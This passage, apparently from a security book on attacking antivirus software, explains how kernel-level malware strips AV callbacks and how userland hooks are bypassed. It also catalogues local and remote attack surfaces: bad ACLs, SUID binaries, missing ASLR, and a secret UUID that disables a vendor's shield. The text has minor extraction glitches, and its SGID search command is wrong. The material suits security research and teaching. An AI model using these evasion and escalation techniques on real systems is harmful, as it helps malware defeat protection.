about kernel-land hooks? How are they usually implemented? How can you
bypass them? Hooking in kernel-land can be done at almost any layer. An antivirus product may hook process or thread creation at kernel level by registering
callbacks to the following functions:
PsSetCreateProcessNotifyRoutine—Adds or removes an element from
the list of routines to be called whenever a process is created or deleted.
PsSetCreateThreadNotifyRoutine—Registers a driver-supplied callback
that is subsequently notified when a new thread is created or deleted.
PsSetLoadImageNotifyRoutine—Registers a driver-supplied callback
that is subsequently notified whenever an image is loaded or mapped
into memory.
These functions are implemented in kernel-drivers, not only for creating heuristic engines but also to analyze programs before they are executed or loaded.
From a userland program, unlike with the previous hooking engines, there is
no way of bypassing or even getting information about the installed callbacks.
However, a malware program running at kernel level can. I will illustrate with
a typical example:
Chapter 9 ■ Evading Heuristic Engines
1. The malware installs a driver or abuses a kernel-level vulnerability to run
its code at Ring-0.
The malware gets a pointer to the (undocumented) P s p C r e a t e
2. Then, the malware removes all registered callbacks for this routine.
3. The true malicious programs, which are not being monitored, are executed.
However, first the program needs to execute code at kernel level; otherwise,
it would be unable to remove any of the registered callbacks. An example of
removing kernel callbacks is illustrated by this blog post by Daniel Pistelli:
At kernel level, there are more hooks, or callbacks, that can be registered
to monitor anything the computer is doing. These hooks are typically used
in kernel-level heuristic engines. It is common to see filesystem and registry
hooks monitoring (as well as denying or allowing, depending on a set of rules
that can be either hard-coded or dynamic) what is happening in the filesystem
or registry. This is often done using mini-filters for filesystems. A mini-filter is
a kernel-mode driver that exposes functionality that can be used to monitor
and log any I/O and transaction activity that occurs in the system. It can, for
example, examine files before they are actually opened, written to, or read from.
Again, from a userland process, there is nothing malware can do; however, from
a kernel-land driver, malware can do its work in a level lower than PASSIVE_
LEVEL (where the mini-filter will work), such as in APC_LEVEL (asynchronous
procedure calls) or DISPATCH_LEVEL (where deferred procedure calls happen),
and even at lower levels.
Returning to hooking registry activity, antivirus software can register a registry callback routine via CmRegisterCallback. The RegistryCallback routine
receives notifications of each registry operation before the configuration manager
processes the operation. Yet again, there is nothing a userland program can do from
user-space to detect and bypass callbacks at kernel level; it will need kernel-level
execution in order to do so. A malware or any kernel-level program can remove
the callbacks, as explained in the case of the PsSetCreateProcessNotifyRoutine,
and then continue afterwards to do whatever it wants with the registry without
being intercepted by an antivirus kernel-driver (see Figure 9-3).
Part II ■ Antivirus Software Evasion
Figure 9-3: List of IRQLs
This chapter covered the various types of heuristic engines that may be implemented in userland, kernel-land, or both. For each type of heuristic engine, this
chapter also covered various methods on how to bypass these heuristic-based
In summary, the following topics were covered:
Heuristic engines, as implemented in AV products, rely on detection
routines that assess evidence and behavior as collected from analyzing
the code in question statically or dynamically.
Static heuristic engines try to discover malicious software by finding evidence statically by disassembling or analyzing the headers of the file under
scrutiny. It is common to use heuristic engines that are based on machine learning
Chapter 9 ■ Evading Heuristic Engines
algorithms, such as Bayesian networks, genetic algorithms, or expert systems.
Most often, static heuristic engines are considered true heuristic engines,
while dynamic heuristic engines are called Host Intrusion Prevention
Systems (HIPS).
Heuristic engines based on expert systems implement a set of algorithms
that emulate the decision-making strategy of a human analyst.
Dynamic heuristic engines also base their detections on the behavior of
the file or program by hooking API calls or executing the program under
an emulation framework.
Dynamic heuristic engines are implemented in the form of hooks (in
userland or kernel-land). They could also be based on emulation (in the
case of static analysis).
Dynamic heuristic engines using userland hooks work by detouring
some APIs to monitor the execution of those APIs and block them if
needed. These userland hooks are usually implemented with the help of
third-party hooking libraries such as EasyHooks, Microsoft’s Detours, or
madCodeHook, among others.
Bypassing userland hooks is easy in many ways. For instance, attackers
could read the original prologue of the hooked functions from the disk,
execute those bytes, then continue executing the part of the function past
the prologue bytes (which are not hooked). Another simple approach is
to unload the hooking library, which, in turn, will remove the hooks as
it unloads.
Kernel-land-based hooks rely on registering callbacks that monitor the
creation of processes and access to the system registry. They also employ
filesystem filter drivers for real-time file activity monitoring.
Similarly to bypassing userland hooks, kernel-land hooks can be uninstalled by malicious code running in the kernel.
The third type of heuristic engines is implemented by using both userland and kernel-land hooks.
This chapter concludes this part of the book and paves way for the next part
that will talk about attacking the antivirus software as a whole by identifying
the attack vectors (local or remote attack vectors) and then finding bugs and
exploiting them.
Identifying the Attack
k Surface
The attack surface of any software is the exposed surface, which can be used by
unauthorized users to discover and exploit vulnerabilities. The attack surface
can be divided into two different groups: local and remote.
This chapter discusses how to identify the attack surface of antivirus software. To some extent, you can apply the techniques and tools described in this
chapter to any software when determining where to aim your attack against
your chosen Goliath. This chapter illustrates how to use tools provided by the
operating system, as well as specialized tools that will aid you in identifying
the local and remote attack surface and techniques to determine the odds of
discovering “gold.”
The tools and techniques that you use will vary, depending on the components
you are analyzing and the target operating systems. For example, in Unix-based
operating systems, you can use the typical Unix toolset (ls, find, lsof, netstat, and
so on). On Windows platforms, you need specific tools, namely, the Sysinternals
Suite, and a few additional third-party tools to get the same insights.
The attack surface of any program is typically separated into two stages or
parts: local and remote. The local attack surface, which is carried by a local
user on the machine, can be leveraged, for example, to escalate privileges from
a normal user (with only privileges to read and write to his or her profile or
documents directory) to an administrator or root user. Sometimes a local attack
can be used to trigger a denial of service (DoS) on the machine by causing the
attacked software to behave differently or to consume too many resources, thus
Part II ■ Antivirus Software Evasion
rendering the machine unusable. On the other hand, an attack surface is dubbed
a remote attack surface when an attacker mounts exploits remotely without local
access to the machine. For example, server software such as a web server or
a web application may present a wide remote surface for attackers to leverage
and exploit. Similarly, a network service listening for client connections that is
vulnerable to a buffer overflow or (as is common in the case of antivirus software) a bug in the parser of a specific file format can be exploited by sending
a malformed file via email. This attack may cause the network service to crash
or to consume a lot of resources in the targeted machine.
Some security researchers make a distinction between remote attack surfaces
on a Local Area Network (LAN) or intranet and attack surfaces carried over a
Wide Area Network (WAN) or the Internet. An example of a LAN remote attack
is when the network services can only be reached from the intranet, for example,
an antivirus remote administration panel (such as the vulnerability in the eScan
Malware Admin software that is discussed in Chapter 13). Other services can
be attacked from the Internet, as in the previous mail gateway example.
Because it is often more interesting to research the remote attack surface,
many researchers focus only on the remote side to exploit an antivirus application. However, you should also research the local attack surface because you
may need to write a multi-stage exploit to fully “own” the target machine. For
example, first, a remote vulnerability is exploited, gaining limited privileges
(Apache running as the www-data account in Linux or a server running as a
non-administrator user in Windows). Then, a local escalation-of-privilege bug
is used to get full privileges (root, local system, or even kernel-level access,
depending on the operating system and vulnerability type) on the target. Do not
exclusively focus on remote vulnerabilities; later on, you may need one (or more)
local vulnerabilities to write a full remote root exploit. Nowadays, exploiting a
remote vulnerability in antivirus software often means instantaneous root or
local system access because the attacked service (or services) is already running
with elevated privileges.
In the past, exploiting browsers, document readers, and other client-side
applications required just one shot to gain access to logged-in user privileges
and, if required, one more bug to get full root or local system privileges. Today,
exploiting most (security-aware) client-side applications requires a sandbox
escape, followed by finding a bug in the sandbox or in the underlying operating
system (or kernel) just to execute code with the logged-in user privileges. In the
near future, security researchers expect that antivirus products will offer the
same features (sandboxing code), thus turning it sine qua non to also research
the local attack surface to fully own the targeted product.
Chapter 10 ■ Identifying the Attack Surface
Understanding the Local Attack Surface
The local attack surface, as previously explained, is exposed to attackers with
access to local machine resources, such as the local disk, memory, processes, and
so on. To determine which components of the targeted antivirus are exposed,
you need to understand the concepts listed here:
Privileges for files and directories
Set user ID (SUID) or set group ID (SGID) binaries on Unix-based platforms
Address Space Layout Randomization (ASLR) and Data Execution
Prevention (DEP) status for programs and libraries
Wrong privileges on Windows objects
Logical flaws
Network services listening on the loopback adapter (, ::1, or
Kernel device drivers
Although other objects may be exposed, this list contains the most commonly
exposed objects.
Finding Weaknesses in File and Directory Privileges
Although this is not a common bug or design flaw in antivirus software, some
AV developers forget to set up privileges for the program’s directory, or they
leave the privileges of some files too open. One example, specific to Unix, is when
a SUID or SGID program can be executed by any user when it is not required.
(SUID- and SGID-specific issues will be discussed later in this chapter.) However,
there are more problems that affect file and directory privileges. For example, the
antivirus program Panda Global Protection, from versions 2011 to 2013, used to
have read and write privileges set for all users (everyone) in the corresponding
program’s directory, thus allowing any local user to place programs, libraries,
and other files in the same directory. To check the privileges of the installation
directory in Windows, you can use Explorer or the command-line tool icacls
and check the privileges of the corresponding directory.
In Unix or Linux, you can simply issue the following command:
$ ls -lga /opt/f-secure
drwxrwxr-x 5 root root 4096 abr 19 21:32 fsaua
Part II ■ Antivirus Software Evasion
drwxr-xr-x 3 root root 4096 abr 19 21:32 fsav
drwxrwxr-x 10 root root 4096 abr 19 21:32 fssp
This example shows the three directories installed by F-Secure Anti-Virus
for Linux with the correct privileges. Only the user and group root have all
privileges (read, write, and execute). Normal users can only read the directory
contents and execute programs inside these directories. As a result, the problem of placing libraries and programs, modifying vital files, and so on, which
affects Panda Global Protection, does not affect F-Secure Anti-Virus for Linux.
Escalation of Privileges
Discovering local escalation of privileges in antivirus products is very common.
Buggy antivirus kernel drivers; bad permissions in files, directories, and access
control lists (ACLs); bugs in installed hooks; and other bugs made it, likely, the
most error prone area.
Escalation of privilege bugs are serious bugs that can lead to full system
compromise. The importance of properly setting objects, folders, files, and ACLs
along with proper input validation, especially from kernel mode code, cannot
be stressed enough.
Incorrect Privileges in Files and Folders
Checking for incorrect privileges in files and folders should be in the top three
checks in any auditor’s list. Antivirus software, like any software out there, is
not free of mistakes and errors, and, naturally, various antivirus vendors have
had, and surely still have, vulnerabilities of this type.
A lot of vulnerabilities of this type have been discovered, for example, in the
Panda antivirus products in the last years. Sometimes, such vulnerabilities are
not simple mistakes made by the installer that can be fixed by changing the
permissions for a folder or a specific file but rather due to dangerous design
decisions. Old versions of the Panda antivirus products used to allow normal
unprivileged users (not administrator users) to update the antivirus. Instead of
creating a Windows service running as SYSTEM user that communicates with
an application that a normal user can run, they decided to “fix” this problem
by implementing one “clever” change that made the privileges for the Panda
antivirus program files folder writeable by everyone.
This terrible software design mistake has been the cause of innumerable
vulnerability reports, because it was enough to change or tweak some of Panda’s
services and components to regain escalation of privileges. For example, a
person nicknamed tarkus sent a security advisory to with the
title “Panda Antivirus 2008 - Local Privilege Escalation Exploit.” The vulnerability he exploited was due to incorrect files privileges set by the installer.
Chapter 10 ■ Identifying the Attack Surface
The installer made the %ProgramFiles%\Panda Security\Panda Antivirus
2008 directory writeable to everyone. In his proof-of-concept code, tarkus simply swaps the original pavsrv51.exe service executable with another malicious
program with the same name. Unfortunately for Panda, because any user can
write to this directory, it was possible to simply overwrite the main services.
After rebooting the machine, the malicious application would be executed with
SYSTEM privileges.
Incorrect Access Control Lists
From time to time, a process launched from a Windows service is left in a
vulnerable state by calling SetSecurityDescriptorDACL for the process and
passing a NULL ACL. This bug, which is typical in popular software database
systems (IBM DB2 or Oracle have been vulnerable to such attacks in the past),
naturally, can also be seen in antivirus software.
We continue talking about Panda antivirus, because this is the only antivirus
software we are aware of that made this mistake. In Global Protection 2010,
2011, and 2012, at the very least, the processes WebProxy.EXE and SrvLoad.EXE
were launched from other Panda services, running as local system. However,
for some unknown reason, the antivirus engineers assigned a NULL ACL value
to these processes, allowing any local user to do anything with them. A process with a NULL ACL value can be opened, modified, written to, and so on by
any other local process. So, an attacker could, for example, inject a DLL using
the typical CreateRemoteThread API into any of these two processes and gain
SYSTEM privileges easily.
Kernel-Level Vulnerabilities
Another typically bug-prone area in antivirus products is in the kernel components. Every once in a while, a local vulnerability in an antivirus is discovered and it usually targets the kernel drivers. Sometimes, bugs in the kernel
that aren’t exploitable, such as a local denial of service, can still be used by the
attackers to mount attacks. Often, the discovery of other kernel-level bugs can
be reliably exploited in a local machine, allowing the escalation of privileges
from a normal, less privileged user, to kernel privileges.
The importance of finding kernel-level vulnerabilities lies in the fact that from
kernel mode, the attacker can perform any action on the system, like installing a malicious driver, writing directly to the disk with the aim of destroying
its contents, hooking userland processes to steal data (like banking details
sent by your browser to a bank web page), and literally anything else. To put
this into greater perspective, some operating systems prevent even the root or
Part II ■ Antivirus Software Evasion
administrator users from performing actions. However, executing code at kernel
level is really game over.
Often, these kernel bugs are the result of improperly checking the input
received by the kernel driver’s I/O control code handlers (IOCTLS). Kernel
driver bugs can occur at many other levels, like in installed hook handlers for
example. Antivirus products usually install hooks into common file I/O functions (like CreateFile) in userland and/or kernel-land. Naturally, the hooks to
these functions must be written with the proper care, but human programming
errors happen.
As an example related to API hooking bugs, a vulnerability titled “Kingsoft
AntiVirus 2012 KisKrnl.sys <= 2011.7.8.913 - Local Kernel Mode Privilege Escalation
Exploit” pertaining to incorrectly handling API hooks was reported via in 2011 by a person nicknamed MJ0011. The Kingsoft antivirus kernel
driver implements a sandbox by installing various API hooks that check how
the hooked APIs are called and used. The KisKrnl.sys driver did not check the
ResultLength argument sent to the hooked Windows API NtQueryValueKey.
Therefore, the attacker could pass any value in ResultLength, and the kernel
driver could use that unchecked value for copying data. The proof-of-concept
code sent by MJ0011, after successfully exploiting the driver, switched the screen
display mode to text mode and displayed a message similarly to the way the
blue screen of death (BSOD) in Microsoft Windows displays error messages
before it crashes the computer.
Exotic Bugs
There are various rare local bugs that can be understood only by looking at the
big picture of the AV product and understanding its underlying design. An
antivirus engine usually contains one or more scanners, as well as heuristics.
Some heuristics, however, aren’t launched directly by scanners, like a commandline or GUI scanner, but, rather, based on monitoring the runtime behavior of
applications. Such heuristics are subject to the same bugs that can appear in
scanners: bugs in code parsing file formats.
One example of this type of bug appeared with a proof-of-concept reported
via by Arash Allebrahim. He published an advisory with the
title “QuickHeal AntiVirus - Stack Overflow Vulnerability.” The vulnerability he discovered was a stack overflow in one of its system components and
is triggered when analyzing modules that get injected into a running process.
In his PoC, he injects a malicious DLL (with manipulated import table) into
Internet Explorer that, when analyzed by the runtime heuristic engine, caused
a classical Unicode stack overflow due to an overly long import name in the PE
file. The bug only happens when a DLL is injected.
Chapter 10 ■ Identifying the Attack Surface
Exploiting SUID and SGID Binaries on Unix-Based Platforms
SUID and SGID are applied to executable files in Unix-based operating systems
such as Solaris, FreeBSD, and Linux. Having either one or both of those bits
set on executable files indicates that the program must be executed under the
privileges of the owner user (SUID) or group (SGID). You can search for files
with that bit set using the following commands:
$ find /directory -perm +4000 # For SUID files
$ find /directory -perm +8000 # For SGID files
For example, if you issue the command to find SUID applications inside the
Dr.Web installation directory, you will discover the following:
$ find /opt/drweb/ -perm +4000
There are two SUID binaries: and drweb-escan.real.
However, the privileges of these two binaries are too restrictive: only the root
user or the drweb group can execute the binaries, which you can confirm by
running the ls command:
$ ls –l /opt/drweb/drweb-escan.real
-rwsr-x--- 1 root drweb 223824 oct 22
2013 /opt/drweb/drweb-escan.real
Programs with the SUID or SGID bit set are, naturally, vulnerable to privilege
escalations. If the program is not carefully coded or if it is intended to be used
only by a specific user or group but permissions to execute the program are
granted to all users, then any user can execute code as the owner user. What if
the SUID or SGID program is owned by root? You guessed it: an attacker can
gain root privileges.
An example of a real bug—albeit not specifically linked to bad privileges
in their SUID binary but, rather, to a design problem—is a vulnerability in
the eScan Malware Admin software. This web administration application is
used to manage eScan antivirus installations and was designed with the idea
of executing commands as root using whatever inputs were received from the
end user of the web application (a very bad idea). Because a web application
cannot execute commands as root, and due to one more design problem, the
application needs to execute tasks as root; the developers “fixed” the problem
by creating an SUID binary called /opt/MicroWorld/sbin/runasroot that runs
commands with the inputs received from the web application. This was a bad
Part II ■ Antivirus Software Evasion
idea because it caused various problems, especially when the web application
contained vulnerabilities. A remote attacker could first gain the privileges of
the mwadmin user (the privileges of the user running the web application). Then,
because this user could execute this binary, the remote attacker could run the
command runasroot to gain root privileges in the targeted machine.
So, in this case, the bug is not exactly a privileges issue but the result of a
wrong design choice. In fact, many vulnerabilities are often the result of bad
design rather than a careless selection of privileges. Indeed, these vulnerabilities
are always more difficult to fix, and it can even be a problem, because it would
imply a change in the design of the software.
ASLR and DEP Status for Programs and Binaries
Both Address Space Layout Randomization (ASLR) and Data Execution Prevention
(DEP) exploit mitigations that are implemented in recent operating systems.
ASLR means that the address space the program and libraries are loaded to
will be random instead of predictable (as specified in the executable header or
preferred base loading address). This randomness makes it more difficult to
guess an address or an offset inside a buffer with the special chunk of code or
data an attacker needs for writing an exploit. Some operating systems, such
as Mac OS X and Linux, force all programs and libraries to adhere to ASLR
(depending on some kernel tweaks), but Windows enables ASLR only when the
program was built with that option enabled. This has been the default choice
when building C or C++ applications with Microsoft Visual Studio since 2002.
However, some old applications were built using old versions of the compiler, or
their developers deliberately disabled ASLR (often citing performance reasons,
even though that does not make any sense). While not having ASLR enabled
for the main process or for the libraries cannot be considered a vulnerability in
itself, it is useful from an attacker’s point of view because it allows the attacker
to determine how easy or difficult the exploitation of memory corruption bugs
will be.
DEP is used to prevent memory pages not explicitly marked as executable
from being executed. Any attempt to execute such data pages will result in an
exception. The proper security practice is to assign pages read and write or
read and execute privileges but never read, write, and execute privileges. As
with ASLR, if a program does not enforce DEP, that does not mean there is a
vulnerability; however, exploitation will be easier. In the days before DEP, a
stack buffer overflow would directly result in code execution from the stack!
On Windows, you can check the status of ASLR and DEP for your target
program or module using Process Explorer (the program is called procexp
.exe) from the Sysinternals Suite.
Chapter 10 ■ Identifying the Attack Surface
Figure 10-1 shows that the Bitdefender Security Service, the resident analyzer,
enables DEP permanently (eighth column in the processes panel) for the process;
however, neither the main program (vsserv.exe) nor most of the libraries are
ASLR enabled (fifth column in the lower panel). This makes it trivial for an
exploit writer to use any code chunk from these libraries or a set of hard-coded
offsets matching some special pattern to write a reliable exploit. In any case, even
when ASLR is not enabled for one process or library, you cannot be certain that
the loading address will be the one that you got when taking a first look with
Process Explorer or another program. The loading addresses of ASLR-enabled
libraries can conflict with the loading of the base address of the libraries you
want to use for writing your exploit, and Windows may relocate them. Please
note that, even in the case of Bitdefender, where most of its libraries are not
ASLR-aware, the libraries from the OS may interfere with their base addresses
and thus have them exhibit ASLR-like behavior.
To find out which libraries do not conflict, you need to reboot a few times and
write down the addresses of the libraries somewhere to verify that their base
addresses remain stable across reboots. In the case of the Bitdefender Security
Service, you do not need to do that because the main program, vsserv.exe, does
not have ASLR enabled either, and executables are loaded before any library; as
a result, you have a 100-percent reliable ASLR bypass due to the mistake made
by the Bitdefender developers.
A more worrisome bug that is definitely a vulnerability happens when an
antivirus program implements heuristic engines or “proactive protection” of
processes (as it is commonly advertised) by injecting a dynamic link library
(DLL) without ASLR enabled for that DLL. Because this DLL is injected in
all running processes, the lack of ASLR has a similar effect to having ASLR
disabled system-wide. One example is the Chinese antivirus product Kingsoft
Internet Security (KIS), which is widely used in China and Japan. KIS implements an application-level firewall by injecting various DLLs in all user
processes. However, the libraries do not have ASLR enabled, so it is easier to
write exploits targeting KIS users.
As shown in Figure 10-2, all user processes, such as the Firefox browser, have
the non-randomized protection library injected into their process space. If an
attacker who does not have an ASLR bypass wants to exploit a Firefox vulnerability, he or she can use the antivirus-injected libraries to write a reliable exploit
targeting certain KIS users, for example, in China or Japan. Unfortunately, the
issue with this Chinese antivirus product is not isolated, and it affects various
other antivirus products. Several of them are briefly discussed in the section
“Security Enhanced Software.”
Part II ■ Antivirus Software Evasion
Figure 10-1: Bitdefender Security Service without ASLR enabled for most libraries, as well as the
main executable program
Figure 10-2: A set of three libraries without ASLR enabled, injected in the Firefox browser’s
memory space
Chapter 10 ■ Identifying the Attack Surface
Exploiting Incorrect Privileges on Windows Objects
Most local attacks against antivirus software in Windows operating systems
involve abusing wrong privileges, ACLs, and other Windows objects for which
an ACL can be assigned.
You can check the privileges and established ACLs with the WinObj (winobj
.exe) tool from the Sysinternals Suite. You need to run this program as administrator to see the privileges of all objects. Once WinObj is running, you can
check in the directory \BaseNamedObjects for all the object types and the privileges assigned to them. For example, if you are researching Kingsoft Antivirus,
you need to search for Windows objects with names that start with the letter
k. Figure 10-3 shows one such object: an event called kws_down_files_scan_
some_guid. If you double-click this kernel object, a new dialog box opens with
two tabs. The Details tab shows general information about the Windows object,
such as the number of references and handles opened. The Security tab shows
the specific privileges of this object.
The WinObj tool warns you that no permissions have been assigned to the
event, so anybody can take control of this Windows object. The exact message
is as follows:
No permissions have been assigned for this object.
Warning: this is a potential security risk because anyone who can access
this object can take ownership of it. The object’s owner should assign
permissions as soon as possible.
As with the ASLR and DEP example, not having assigned privileges to a
Windows object does not necessarily mean that there is a vulnerability in an
AV product. However, the odds of this object causing problems for the AV
product or for some of its components are high. For example, what if you create
a program that takes control of this object and revokes access to the object for
all users? No other process would be able to open the event and, therefore, no
notification would arrive through this channel. Another option is to signal this
event continuously. This approach may cause a denial-of-service condition in the
AV product because it was signaled when no event really happened. Another
example is to create a program that continuously resets the event’s state, in
which case no notification at all would be received by the process or processes
Part II ■ Antivirus Software Evasion
waiting for this event to be signaled. (You have to be able to reset the event object
after it was signaled and before it is received by a watcher of this event object.)
Figure 10-3: No ACL is set for the KIS event object, and WinObj warns that anybody can take
control of the object.
Event and mutex objects are, perhaps, the least interesting Windows objects
when auditing any Windows application. Other, more interesting object types
can translate into easy escalation of privileges. The best example is when a thread
object or a process object is not assigned an access control list. While this is a
relatively infrequent problem, it does affect various AV programs, such as Panda
Global Protection until 2014. The example here uses Panda Global Protection
2012. In contrast with the previous case involving Kingsoft Internet Security, this
time you need to use not WinObj but rather the Sysinternals program Process
Explorer, which is more suited to inspect user-mode threads and process objects.
Once you have Panda Global Protection 2012 installed and running and you
open Process Explorer, you can find Panda’s process of interest, SrvLoad.exe
(as shown in Figure 10-4).
Process Explorer informs you that the object—in this case, the whole process—
does not have any ACL assigned. Thus, the object allows any local user to take
control of this application, which, by the way, is running as local system with
the highest integrity level (as the SYSTEM user). This error is not a common
mistake because a process or a thread object, by default, inherits the privileges
from the parent object, and software developers must explicitly call the function
Chapter 10 ■ Identifying the Attack Surface
SetSecurityDescriptorDAL, giving it a NULL access control list. However, in
many cases, programmers will call this function to make it easy for their own
processes to open and interact with it. Unfortunately, it allows any other users on
the local machine to do the same and more; a local exploit can open the process
and inject a DLL by calling CreateRemoteThread, for example, to run code in
the context of the SrvLoad.exe program and escalate privileges to local system.
Other Windows objects that you have to keep an eye on when looking for
vulnerabilities in antivirus software (and in any other Windows software in
general) are sections. A section object represents a section of memory that can
be shared across processes. It is used by processes to share parts of its memory
address space with other processes. Section objects can also be used to map
a file into a process memory space. If a section does not have a correct set of
privileges (a correct ACL) or if no privilege is applied at all on the section object,
any user can read whatever is inside the section object. This may allow users to
leak sensitive information such as passwords or to write malformed data to the
shared section, which can potentially disrupt one or more antivirus processes.
In rare cases, shared sections actually contain executable code—snippets of
binary code that are executed in one process and can be read or written from
other processes. If no ACL is set or if the assigned set of privileges is wrong, the
results can be devastating; any user could write executable code in the shared
section, making the process (which is very likely running as SYSTEM) execute
a piece of code chosen by an attacker. Although this bug appears to be rare, it
actually affects a variety of commonly used antivirus products.
Figure 10-4: This is an example of the Panda process SrvLoad running as SYSTEM with the
highest integrity level and without any ACL set. This vulnerability was reported by the author and
fixed in 2014.
Part II ■ Antivirus Software Evasion
Exploiting Logical Flaws
Logical flaws, also called “business logic” bugs or flaws, are bugs that affect the
logic of a process. They cannot be discovered by using basic auditing tools such
as Process Explorer or WinObj. You need to use the de facto standard tool for
reverse-engineering, IDA, as you will have to disassemble and check the logic
behind the component of your targeted antivirus product to find the logical flaws.
As an example of a logical flaw, the Panda Global Protection 2011 to 2013 processes were protected by the “Panda’s Shield.” This technology prevented (or
tried to) any local processes from killing or injecting shellcode into the Panda
analyzers and system services. However, for some reason, the developers integrated a backdoor into this technology that could enable or disable the shield. The
library pavshld.dll exports a set of functions—all of them with human-readable
names, except PAVSHLD_001 and PAVSHLD_002 (see Figure 10-5).
Figure 10-5: This list of functions is exported by the library pavshdl.dll.
When a library exports functions with mostly human-readable names, it often
means that the developers want to hide the logic behind these functions. If you
open the first function, PAVSHLD_001, in IDA, you will find the code shown in
Figure 10-6.
The commented disassembly shows that the Panda shield can be disabled if
this function library is called by passing to it a “secret” UUID with the value
ae217538-194a-4178-9a8f-2606b94d9f13. When the library function is called
with the correct UUID, a set of writable registry keys (which are writable by the
“Everyone” user) are updated, thus disabling Panda’s antivirus shield. This logic
flaw could also be discovered using another method: by checking the privileges
of the corresponding Panda registry keys.
Chapter 10 ■ Identifying the Attack Surface
Figure 10-6: This secret UUID can be used to disable the shield.
Understanding the Remote Attack Surface
The remote attack surface is the surface exposed to remote attackers who have
access to an adjacent network (LAN) or who can target the antivirus remotely
from an external network (WAN).
To determine what components of the targeted antivirus are exposed to remote
attacks, you need to understand which components deal with remote data:
Parsers for various file formats
Generic detection and file disinfection code
Network services, administration panels, and consoles
Browser plug-ins
Firewalls, intrusion detection systems, and their various network protocol
Update services
Part II ■ Antivirus Software Evasion
An antivirus product tries to protect almost any probable entry point that can
lead to remote malicious attacks. As it turns out, when the antivirus product
deploys extra protection mechanisms to protect from remote attacks, the attack
surface is increased considerably. Some new attack vectors will emerge as soon
as an antivirus product is installed on either a server or a desktop machine.
For example, the introduction of a network packet filter driver (for the purpose
of intrusion detection) may open a new attack surface via its network protocol
The following sections briefly describe each of the aforementioned remote
attack surfaces.
File Parsers
The file parsers are one of the most interesting points to research in an
antivirus product. By design, an antivirus product tries to analyze (scan) any
file, temporary or otherwise, created or accessed on the machine it is protecting.
As such, any archive downloaded via a browser is scanned by the antivirus
product. For example, if a user visits a website that serves HTML content, CSS,
and JavaScript files, then all files will be automatically scanned to see if they
contain malware. This automatic scanning of files retrieved by the browser can
trigger a vulnerability in the fonts, CSS, JavaScript, OLE2, or other file parsers.
With such vulnerabilities, an attacker can remotely exploit a machine that is likely
behind a firewall and that is not accessible directly from the Internet. Because
the malware uses the browser as the entry vector and targets the antivirus
software, the machine becomes vulnerable to attack. This real-world scenario
is the most common one used by those targeting antivirus software remotely.
Nowadays, some antivirus companies, like many other software vendors,
perform regular source code security audits and try to apply safe programming
practices in order to reduce the odds of having exploitable file format bugs.
With all those extra precautions, the odds are very high that the audits will find
vulnerabilities in the antivirus’s native code that parses complex file formats
such as Microsoft OLE2 files, PDF, ELF, PE, MachO, Zip, 7z, LZH, RAR, GZIP,
BZIP2, LNK, Adobe Flash, MOV, AVI, ASF, CLASS, DEX, and so on.
As a matter of fact, during the audit I performed in 2014 with 19 antivirus products, file format bugs appeared in 14 AV engines; that is a very high
number. In my opinion, it’s probable that the other AV engines did not crash
when parsing file formats after months of fuzzing because they use one of two
things: either an emulator or virtual machine for running the file parsers, or
file parsers written in non-native languages such as interpreted languages or
managed code. Symantec, Microsoft, and Norton are examples of companies
using these approaches.
Chapter 10 ■ Identifying the Attack Surface
Generic Detection and File Disinfection Code
Generic detection and file disinfection code deals with data that could be malicious and crafted by willful attackers. The generic detection routines, when
they are not as simple as pattern matching, deal with user-provided input. For
example, they may read integer fields from the input file that end up being
interpreted as “size” parameters. These parameters would then be used in
allocations or memory copying operations to decompress or decrypt (or both)
a part of an encrypted or compressed program (or both).
To understand this idea, imagine a file infector (aka a virus) that infects a PE
executable file and encrypts the original code section. When such an infected file is
scanned, an AV’s generic detection code needs to gather infection evidence before
deeming the file infected. The detection code then needs to find where the original entry point (OEP) is, where the decryption key is stored, and where the virus
is embedded in the PE file. The disinfection code uses this gathered information
to disinfect the file and restore it to its original state. The gathered information,
as read from the infected file, may include size, offset, and other fields that are
controlled by the attacker. If the disinfection routines trust the data as read and
perform no input sanity checks, the disinfection code may end up using the size
fields in operations such as memcpy
y (leading to buffer overflows) or in integer arithmetic operations (leading to integer overflows, underflows, or truncation bugs).
This would inadvertently introduce vulnerabilities into the disinfection code.
Similarly, both generic detections and file disinfection code for obfuscated and/or
compressed viruses (probably using Entry Point Obscuring [EPO], having to deal
with new file formats and untrusted data, can pose equal security risks as PDF or
OLE2 file format parsers.
Network Services, Administration Panels, and Consoles
The administration consoles and their client-side counterpart, the antivirus
agents that connect to them, are subject to exploitation by an attacker. If the
administration consoles and services that handle messages sent from the antivirus agents in the client desktop machines do not take extra care when dealing
with the received input, they can open up vulnerabilities. For example, in the
popular antivirus product AVG, the server component used to have a set of very
serious weaknesses (one of them fixed and most of them not, as of this writing):
Missing authentication—The authentication checks for the AVG Admin
Console were done on the client side. Thus, any user with network access
to that machine could log in to the Admin Console. From a security point of
view, client-side checks for logging in are barely considered “logging in.”
Part II ■ Antivirus Software Evasion
Missing entity authentication—The communication protocol did not
provide any functionality to verify the identity of any of the communication partners. It allowed an attacker to pose as one AVG endpoint or as
a rogue administration server.
Static encryption keys and insecure modes of operation—The protocol
used Blowfish as the chosen encryption cipher. However, the symmetric
keys were hard-coded in the binaries (in both the client- and server-side
components), so any user passively listening to the communications
could decrypt them. Also, the cipher was used in Electronic Code Book
(ECB) mode, which enables various attacks against the cipher-text (such
as known plaintext attacks).
Remote code execution—One of the parameters sent from client to server
was the ClientLibraryName parameter. It was the path to a DLL that would
be loaded by the AVG Admin Server. If this parameter pointed to a remote
path (a library in a Universal Naming Convention [UNC] path), it would
be remotely loaded and the code in that library would be executed in
the context of the AVG Admin Server, which runs as SYSTEM. This very
serious security bug is extremely easy to exploit.
For more details on these vulnerabilities, you can go to the following URL,
which contains the complete advisory written by SEC Consult Vulnerability
I also recommend looking at the included timeline, which is both funny
and sad.
Firewalls, Intrusion Detection Systems, and Their Parsers
Most recent antivirus products offer capabilities to analyze network traffic and
to detect malicious programs that are being downloaded or typical network
traces of known worms, file infectors, Trojans, and so on. Such attacks can be
neutralized at the desktop machine by using Intrusion Protection Systems (IPS).
These systems inspect all traffic the machine receives, and this requires antivirus engineers to develop code to parse and decode network traffic. Network
protocol parsers can be exploited in exactly the same manner that file format
parsers can. What are the odds of correctly parsing, say, the HTTP protocol?
Although it is complex, it can be done and (maybe) free of bugs. But what about
the odds of not having a single vulnerability in the code handling and parsing
Chapter 10 ■ Identifying the Attack Surface
of ARP, IP, TCP, UDP, SNMP, SMTP, POP3, Oracle TNS, CIFS, and other network
protocols? The odds are exactly the same as with file parsers: they are very likely
to have vulnerabilities.
